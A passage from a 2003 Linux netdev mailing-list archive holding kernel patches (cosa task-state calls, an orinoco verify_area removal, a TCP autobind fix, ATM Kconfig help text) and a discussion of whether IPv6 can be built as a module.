@@ spin_lock_irqsave(&cosa->lock, flags); add_wait_queue(&chan->txwaitq, &wait); while(!chan->tx_status) { - current->state = TASK_INTERRUPTIBLE; + set_current_state(TASK_INTERRUPTIBLE); spin_unlock_irqrestore(&cosa->lock, flags); schedule(); spin_lock_irqsave(&cosa->lock, flags); if (signal_pending(current) && chan->tx_status == 0) { chan->tx_status = 1; remove_wait_queue(&chan->txwaitq, &wait); - current->state = TASK_RUNNING; + __set_current_state(TASK_RUNNING); chan->tx_status = 1; spin_unlock_irqrestore(&cosa->lock, flags); return -ERESTARTSYS; } } remove_wait_queue(&chan->txwaitq, &wait); - current->state = TASK_RUNNING; + __set_current_state(TASK_RUNNING); up(&chan->wsem); spin_unlock_irqrestore(&cosa->lock, flags); kfree(kbuf); @@ -1530,9 +1529,8 @@ cosa_getdata8(cosa); cosa_putstatus(cosa, SR_RST); #ifdef MODULE - current->state = TASK_INTERRUPTIBLE; + set_current_state(TASK_INTERRUPTIBLE); schedule_timeout(HZ/2); - current->state = TASK_RUNNING; #else udelay(5*100000); #endif @@ -1585,7 +1583,7 @@ return r; } /* sleep if not ready to read */ - current->state = TASK_INTERRUPTIBLE; + set_current_state(TASK_INTERRUPTIBLE); schedule_timeout(1); } printk(KERN_INFO "cosa: timeout in get_wait_data (status 0x%x)\n", --------------010404050101070809090109-- From dgibson@ozlabs.org Sun Sep 28 22:37:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 22:37:20 -0700 (PDT) Received: from ozlabs.org (ozlabs.org [203.10.76.45]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T5bCFx031523 for ; Sun, 28 Sep 2003 22:37:13 -0700 Received: by ozlabs.org (Postfix, from userid 1007) id 18C7B2BD2E; Mon, 29 Sep 2003 15:37:06 +1000 (EST) Date: Mon, 29 Sep 2003 15:29:25 +1000 From: David Gibson To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATRCH] janitor: hermes: delete verify_area call Message-ID: <20030929052925.GA5037@zax> References: <20030925215902.57f53822.rddunlap@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030925215902.57f53822.rddunlap@osdl.org> User-Agent: Mutt/1.5.4i X-archive-position: 318 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hermes@gibson.dropbear.id.au Precedence: bulk X-list: netdev On Thu, Sep 25, 2003 at 09:59:02PM -0700, Randy.Dunlap wrote: > > Hi, > Please apply to 2.6.0-test5-current. > > Thanks, Sorry, can you clarify why this verify_area() is not needed? From: Domen Puncer IMO, that verify_area wasn't needed. linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c | 4 ---- 1 files changed, 4 deletions(-) diff -puN drivers/net/wireless/orinoco.c~net_wireless_orinoco_verify +drivers/net/wireless/orinoco.c --- +linux-260-t5bk12-kj/drivers/net/wireless/orinoco.c~net_wireless_orinoco_verify +2003-09-25 16:03:17.000000000 -0700 +++ linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c 2003-09-25 +16:03:17.000000000 -0700 @@ -3833,10 +3833,6 @@ orinoco_ioctl(struct net_device *dev, st { SIOCIWLASTPRIV, 0, 0, "dump_recs" }, }; - err = verify_area(VERIFY_WRITE, wrq->u.data.pointer, +sizeof(privtab)); - if (err) - break; - wrq->u.data.length = sizeof(privtab) / +sizeof(privtab[0]); if (copy_to_user(wrq->u.data.pointer, privtab, +sizeof(privtab))) err = -EFAULT; _ -- David Gibson | For every complex problem there is a david@gibson.dropbear.id.au | solution which is simple, neat and | wrong. http://www.ozlabs.org/people/dgibson From pekkas@netcore.fi Sun Sep 28 23:31:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Sep 2003 23:32:03 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T6VmFx004124 for ; Sun, 28 Sep 2003 23:31:53 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8T6TKV15622; Mon, 29 Sep 2003 09:29:20 +0300 Date: Mon, 29 Sep 2003 09:29:19 +0300 (EEST) From: Pekka Savola To: Adrian Bunk cc: netdev@oss.sgi.com, , , Subject: Re: RFC: [2.6 patch] disallow modular IPv6 In-Reply-To: <20030928225941.GW15338@fs.tum.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 319 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Mon, 29 Sep 2003, Adrian Bunk wrote: > It seems modular IPv6 doesn't work 100% reliable, e.g. after looking at > the code it doesn't seem to be a good idea to compile a kernel without > IPv6 support and later build and install IPv6 modules. Is there a great > need for modular IPv6 or is the patch below to disallow modular IPv6 OK? IPv6 modularity is critical for all the Linux distributions who wish to give the users the possibility to turn on IPv6 if they wish, but turning it on by default for everybody is not realistic. IMHO, making it non-modular is *NOT* an option. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dwmw2@infradead.org Mon Sep 29 02:03:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 02:03:16 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T937Fx017944 for ; Mon, 29 Sep 2003 02:03:08 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id AC68D63D64; Mon, 29 Sep 2003 10:03:01 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8T92tRk015831; Mon, 29 Sep 2003 10:02:57 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: Arnaldo Carvalho de Melo Cc: Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030929003229.GM1039@conectiva.com.br> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> Content-Type: text/plain Message-Id: <1064826174.29569.13.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Mon, 29 Sep 2003 10:02:55 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 320 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Sun, 2003-09-28 at 21:32 -0300, Arnaldo Carvalho de Melo wrote: > Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: > > On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > > What about the following solution (the names and help texts for the > > config options might not be optimal, I hope you understand the > > intention): > > > > config IPV6_SUPPORT > > bool "IPv6 support" > > > > config IPV6_ENABLE > > tristate "enable IPv6" > > depends on IPV6_SUPPORT > > > > IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for > > ipv6.o . > > Humm, and the idea is? This seems confusing, could you elaborate on why such > scheme is a good thing? The idea is that you then have ifdefs on CONFIG_IPV6_SUPPORT not on CONFIG_IPV6_MODULE. The underlying point being that your static kernel should not change if you change an option from 'n' to 'm'. It should only affect the kernel image if you change options to/from 'y'. We should remove the definitions of 'CONFIG_xxxx_MODULE' entirely from visibility during the build of non-module files, to prevent further breakage of this sort. -- dwmw2 From hidden@balabit.hu Mon Sep 29 06:05:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 06:06:33 -0700 (PDT) Received: from balabit.hu (catv-d5dea83f.bp11catv.broadband.hu [213.222.168.63]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TD5iFx005181 for ; Mon, 29 Sep 2003 06:05:51 -0700 Message-ID: <3F782E1F.4030500@balabit.hu> Date: Mon, 29 Sep 2003 15:05:35 +0200 From: Kovacs Krisztian MIME-Version: 1.0 To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [PATCH] ipv4 tcp autobind problem Content-Type: multipart/mixed; boundary="------------060207040000040509080909" X-archive-position: 321 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hidden@balabit.hu Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------060207040000040509080909 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, While testing the tproxy (transparent proxying) patch for linux-2.4 (http://www.balabit.com/downloads/tproxy/linux-2.4), Stas Grabois has found a quite strange aspect of Linux 2.4 TCP. Imagine the following scenario: you create a new socket (AF_INET, SOCK_STREAM), bind it to local port 0, and try to connect() to a closed port. Of course, the peer sends back an RST, indicating no one is listening on that port. However, if your application does not care about the return value of connect(), and calls send() on the not connected socket, inet_autobind() is called and a new local port is allocated for the socket. So, besides returning an error, there is also a side effect of the send(). The same thing happens with an established TCP session if the peer sends an RST between two send() calls, the second call will autobind the socket, and then return error. Is this behaviour intentional? Isn't rebinding a TCP socket to a new local port a bug? I mean, possibly inet_sendmsg() should check if the socket is SOCK_STREAM before calling inet_autobind() if sk->num is zero. The attached patch adds this check to inet_sendmsg(). We've been using it for a while, and it looks it did not break anything. -- Regards, Krisztian KOVACS --------------060207040000040509080909 Content-Type: text/plain; name="inet_tcp_autobind_fix.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="inet_tcp_autobind_fix.diff" --- linux-2.4.22/net/ipv4/af_inet.c.orig Thu Sep 18 10:02:49 2003 +++ linux-2.4.22/net/ipv4/af_inet.c Thu Sep 18 10:03:56 2003 @@ -751,7 +751,7 @@ struct sock *sk = sock->sk; /* We may need to bind the socket. */ - if (sk->num==0 && inet_autobind(sk) != 0) + if (sk->num==0 && sock->type != SOCK_STREAM && inet_autobind(sk) != 0) return -EAGAIN; return sk->prot->sendmsg(sk, msg, size); --------------060207040000040509080909-- From chas@cmf.nrl.navy.mil Mon Sep 29 07:04:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 07:05:35 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TE4vFx007180 for ; Mon, 29 Sep 2003 07:04:57 -0700 Received: from cmf.nrl.navy.mil (scotty.cmf.nrl.navy.mil [134.207.10.42]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8TE4qkT027322; Mon, 29 Sep 2003 10:04:52 -0400 (EDT) Message-Id: <200309291404.h8TE4qkT027322@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: Remove modules.txt in drivers/atm/Kconfig (Nicolas Kaiser ) Reply-To: chas3@users.sourceforge.net Date: Mon, 29 Sep 2003 10:04:51 -0400 From: Chas Williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 322 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.6 -- thanks [ATM]: Remove modules.txt in drivers/atm/Kconfig (Nicolas Kaiser ) --- trivial-2.6.0-test5-bk10/drivers/atm/Kconfig.orig 2003-09-24 12:27:31.000000000 +1000 +++ trivial-2.6.0-test5-bk10/drivers/atm/Kconfig 2003-09-24 12:27:31.000000000 +1000 @@ -32,9 +32,8 @@ The driver works with MMF (-MF or ...F) and UTP-5 (-U5 or ...D) adapters. - This driver is also available as a module. If you want to compile - it as a module, say M here and read - . The module will be called eni. + To compile this driver as a module, choose M here: the module will + be called eni. config ATM_ENI_DEBUG bool "Enable extended debugging" @@ -138,10 +137,8 @@ Driver for the Fujitsu FireStream 155 (MB86697) and FireStream 50 (MB86695) ATM PCI chips. - This driver is also available as a module. If you want to compile - it as a module, say M here and read - . The module will be called - firestream. + To compile this driver as a module, choose M here: the module will + be called firestream. config ATM_ZATM tristate "ZeitNet ZN1221/ZN1225" @@ -150,9 +147,8 @@ Driver for the ZeitNet ZN1221 (MMF) and ZN1225 (UTP-5) 155 Mbps ATM adapters. - This driver is also available as a module. If you want to compile - it as a module, say M here and read - . The module will be called zatm. + To compile this driver as a module, choose M here: the module will + be called zatm. config ATM_ZATM_DEBUG bool "Enable extended debugging" @@ -176,10 +172,8 @@ 25 and for 155 Mbps, including IDT cards and the Fore ForeRunnerLE series. Say Y if you have one of those. - This driver is also available as a module. If you want to compile - it as a module, say M here and read - . The module will be called - nicstar. + To compile this driver as a module, choose M here: the module will + be called nicstar. config ATM_NICSTAR_USE_SUNI bool "Use suni PHY driver (155Mbps)" @@ -209,9 +203,8 @@ help Driver for the IDT 77252 ATM PCI chips. - This driver is also available as a module. If you want to compile - it as a module, say M here and read - . The module will be called idt77252 + To compile this driver as a module, choose M here: the module will + be called idt77252. config ATM_IDT77252_DEBUG bool "Enable debugging messages" From acme@conectiva.com.br Mon Sep 29 07:10:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 07:11:00 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TEAPFx007704 for ; Mon, 29 Sep 2003 07:10:26 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A3ytM-0002Gv-00; Mon, 29 Sep 2003 11:20:50 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 2ECFEE739; Mon, 29 Sep 2003 14:15:49 +0000 (UTC) Date: Mon, 29 Sep 2003 11:15:48 -0300 From: Arnaldo Carvalho de Melo To: David Woodhouse Cc: Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030929141548.GS1039@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , David Woodhouse , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.29569.13.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1064826174.29569.13.camel@hades.cambridge.redhat.com> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 323 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Mon, Sep 29, 2003 at 10:02:55AM +0100, David Woodhouse escreveu: > On Sun, 2003-09-28 at 21:32 -0300, Arnaldo Carvalho de Melo wrote: > > Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: > > > On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > > > What about the following solution (the names and help texts for the > > > config options might not be optimal, I hope you understand the > > > intention): > > > > > > config IPV6_SUPPORT > > > bool "IPv6 support" > > > > > > config IPV6_ENABLE > > > tristate "enable IPv6" > > > depends on IPV6_SUPPORT > > > > > > IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for > > > ipv6.o . > > > > Humm, and the idea is? This seems confusing, could you elaborate on why such > > scheme is a good thing? > > The idea is that you then have ifdefs on CONFIG_IPV6_SUPPORT not on > CONFIG_IPV6_MODULE. That part I understood :) > The underlying point being that your static kernel should not change if > you change an option from 'n' to 'm'. But that will only happen if CONFIG_IPV6_SUPPORT is always enabled, no? > It should only affect the kernel image if you change options to/from 'y'. That is a good goal, yes, so lets remove all the ifdefs around EXPORT_SYMBOL, etc, i.e.: add bloat for the simple case were I want a minimal kernel. Humm, so the user will have, in this case, these choices: 1. "I don't want IPV6 at all, not now, not ever": CONFIG_IPV6_SUPPORT=N CONFIG_IPV6=N (this is implicit as this depends on CONFIG_IPV6_SUPPORT) 2. "I think I may well want it the future, who knows? but not now...": CONFIG_IPV6_SUPPORT=Y CONFIG_IPV6=N 3. "Nah, some of the users of this pre-compiled kernel will need it": CONFIG_IPV6_SUPPORT=Y CONFIG_IPV6=M 4. "Yeah, IPV6 is COOL, how can somebody not use this piece of art?": CONFIG_IPV6_SUPPORT=Y CONFIG_IPV6=Y Isn't this confusing for the I-wanna-triple-my-kernel-performance-by-compiling- the-kernel-for-exactly-what-I-have hordes of users? - Arnaldo From dwmw2@infradead.org Mon Sep 29 07:29:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 07:30:13 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TETcFx008547 for ; Mon, 29 Sep 2003 07:29:39 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 93ACD63D63; Mon, 29 Sep 2003 15:29:32 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8TETRpb010782; Mon, 29 Sep 2003 15:29:28 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: Arnaldo Carvalho de Melo Cc: Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030929141548.GS1039@conectiva.com.br> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.29569.13.camel@hades.cambridge.redhat.com> <20030929141548.GS1039@conectiva.com.br> Content-Type: text/plain Message-Id: <1064845765.21551.13.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Mon, 29 Sep 2003 15:29:26 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 324 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Mon, 2003-09-29 at 11:15 -0300, Arnaldo Carvalho de Melo wrote: > > The underlying point being that your static kernel should not change if > > you change an option from 'n' to 'm'. > > But that will only happen if CONFIG_IPV6_SUPPORT is always enabled, no? No. It (kernel changing according to 'm' options) happens at the moment, and it's evil and broken. Adrian proposes that it should not happen at all. The suggestion is that if your kernel was built with 'CONFIG_ALLOW_IPV6_SUPPORT=y' then it has all the structures etc. of the right size, and the tristate option 'CONFIG_IPV6' becomes available. If you build with 'CONFIG_ALLOW_IPV6_SUPPORT=n' then you cannot build IPv6. > > It should only affect the kernel image if you change options to/from 'y'. > > That is a good goal, yes, so lets remove all the ifdefs around EXPORT_SYMBOL, > etc, i.e.: add bloat for the simple case were I want a minimal kernel. So build with CONFIG_MODULES=n. > Humm, so the user will have, in this case, these choices: > > 1. "I don't want IPV6 at all, not now, not ever": > CONFIG_IPV6_SUPPORT=N > CONFIG_IPV6=N (this is implicit as this depends on > CONFIG_IPV6_SUPPORT) > > 2. "I think I may well want it the future, who knows? but not now...": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=N > > 3. "Nah, some of the users of this pre-compiled kernel will need it": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=M > > 4. "Yeah, IPV6 is COOL, how can somebody not use this piece of art?": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=Y > > Isn't this confusing for the I-wanna-triple-my-kernel-performance-by-compiling- > the-kernel-for-exactly-what-I-have hordes of users? No. It's very clear. But the current situation is confusing, where you set 'CONFIG_IPV6=m' and 'make modules' to build IPv6 support since it appears to be modular, and then the module either doesn't load or loads and oopses due to structures changing in size. -- dwmw2 From j.grootheest@euronext.nl Mon Sep 29 07:31:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 07:32:24 -0700 (PDT) Received: from mail.aex.nl (mail.aex.nl [212.153.234.107]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TEVjFx008891 for ; Mon, 29 Sep 2003 07:31:48 -0700 Received: (from uucp@localhost) by ams-srvmri-1.euronext.com (8.11.6/8.11.2) id h8TDJrh32593; Mon, 29 Sep 2003 15:19:53 +0200 Received: from UNKNOWN(172.26.35.185), claiming to be "exs02.aex.nl" via SMTP by ams-srvmri-1, id smtpd9enHUp; Mon Sep 29 15:19:48 2003 Received: from euronext.nl (cpq01723.nl.atoseuronext.net [10.202.27.2]) by exs02.aex.nl with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id Q521FSPV; Mon, 29 Sep 2003 16:28:23 +0200 Message-ID: <3F784188.8030600@euronext.nl> Date: Mon, 29 Sep 2003 16:28:24 +0200 From: Jan Evert van Grootheest User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Arnaldo Carvalho de Melo CC: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.295 In-Reply-To: <20030929141548.GS1039@conectiva.com.br> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 325 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: j.grootheest@euronext.nl Precedence: bulk X-list: netdev Arnaldo, I guess I am one of those I-wanna-triple-my-kernel-performance- by-compiling-the-kernel-for-exactly-what-I-have hordes. Although I don't think it actually triples my kernel performance ))-: Those people anyway recompile the kernel if they want some feature (un)included. And I'd say RTM (ah, that should be RTH -- Read The Help) if they don't understand it. It's what I do. I would expect those that know enough to reconfigure the kernel also know enough to understand the help that will undoubtedly be provided with this option? -- Jan Evert Arnaldo Carvalho de Melo wrote: > Em Mon, Sep 29, 2003 at 10:02:55AM +0100, David Woodhouse escreveu: >>On Sun, 2003-09-28 at 21:32 -0300, Arnaldo Carvalho de Melo wrote: >>>Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: >>>>On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: >>>>What about the following solution (the names and help texts for the >>>>config options might not be optimal, I hope you understand the >>>>intention): >>>> >>>>config IPV6_SUPPORT >>>> bool "IPv6 support" >>>> >>>>config IPV6_ENABLE >>>> tristate "enable IPv6" >>>> depends on IPV6_SUPPORT >>>> >>>>IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for >>>>ipv6.o . >>> >>>Humm, and the idea is? This seems confusing, could you elaborate on why such >>>scheme is a good thing? >> >>The idea is that you then have ifdefs on CONFIG_IPV6_SUPPORT not on >>CONFIG_IPV6_MODULE. > > > That part I understood :) > > >>The underlying point being that your static kernel should not change if >>you change an option from 'n' to 'm'. > > > But that will only happen if CONFIG_IPV6_SUPPORT is always enabled, no? > > >>It should only affect the kernel image if you change options to/from 'y'. > > > That is a good goal, yes, so lets remove all the ifdefs around EXPORT_SYMBOL, > etc, i.e.: add bloat for the simple case were I want a minimal kernel. > > Humm, so the user will have, in this case, these choices: > > 1. "I don't want IPV6 at all, not now, not ever": > CONFIG_IPV6_SUPPORT=N > CONFIG_IPV6=N (this is implicit as this depends on > CONFIG_IPV6_SUPPORT) > > 2. "I think I may well want it the future, who knows? but not now...": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=N > > 3. "Nah, some of the users of this pre-compiled kernel will need it": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=M > > 4. "Yeah, IPV6 is COOL, how can somebody not use this piece of art?": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=Y > > Isn't this confusing for the I-wanna-triple-my-kernel-performance-by-compiling- > the-kernel-for-exactly-what-I-have hordes of users? > > - Arnaldo > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From Valdis.Kletnieks@vt.edu Mon Sep 29 07:42:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 07:43:15 -0700 (PDT) Received: from turing-police.cc.vt.edu (h80ad2481.async.vt.edu [128.173.36.129]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TEgbFx009722 for ; Mon, 29 Sep 2003 07:42:41 -0700 Received: from turing-police.cc.vt.edu (IDENT:valdis@localhost [127.0.0.1]) by turing-police.cc.vt.edu (8.12.10/8.12.10) with ESMTP id h8TEcVtH021550; Mon, 29 Sep 2003 10:38:31 -0400 Message-Id: <200309291438.h8TEcVtH021550@turing-police.cc.vt.edu> X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4+dev To: Arnaldo Carvalho de Melo Cc: David Woodhouse , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 In-Reply-To: Your message of "Mon, 29 Sep 2003 11:15:48 -0300." <20030929141548.GS1039@conectiva.com.br> From: Valdis.Kletnieks@vt.edu References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.29569.13.camel@hades.cambridge.redhat.com> <20030929141548.GS1039@conectiva.com.br> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_1830453198P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Mon, 29 Sep 2003 10:38:30 -0400 X-archive-position: 326 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Valdis.Kletnieks@vt.edu Precedence: bulk X-list: netdev --==_Exmh_1830453198P Content-Type: text/plain; charset=us-ascii On Mon, 29 Sep 2003 11:15:48 -0300, Arnaldo Carvalho de Melo said: > Humm, so the user will have, in this case, these choices: > > 1. "I don't want IPV6 at all, not now, not ever": > CONFIG_IPV6_SUPPORT=N > CONFIG_IPV6=N (this is implicit as this depends on > CONFIG_IPV6_SUPPORT) > > 2. "I think I may well want it the future, who knows? but not now...": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=N > > 3. "Nah, some of the users of this pre-compiled kernel will need it": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=M > > 4. "Yeah, IPV6 is COOL, how can somebody not use this piece of art?": > CONFIG_IPV6_SUPPORT=Y > CONFIG_IPV6=Y > > Isn't this confusing for the I-wanna-triple-my-kernel-performance-by-compiling- > the-kernel-for-exactly-what-I-have hordes of users? No, this is the behavior we want, and we can write Kconfig help entries that explain it. Anybody want to do a sanity check against CONFIG_IP6_NF_IPTABLES - that looks like another gotcha if it isn't implemented properly (it may be, I just haven't actually looked it over)? --==_Exmh_1830453198P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQE/eEPmcC3lWbTT17ARAs7tAKCZSYrY97dttuyIPMbTMOriFuOSiwCgocI6 QeTeCGLBJLDUFiANiXNjAvU= =LbCU -----END PGP SIGNATURE----- --==_Exmh_1830453198P-- From dwmw2@infradead.org Mon Sep 29 07:46:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 07:46:51 -0700 (PDT) Received: from executor.cambridge.redhat.com 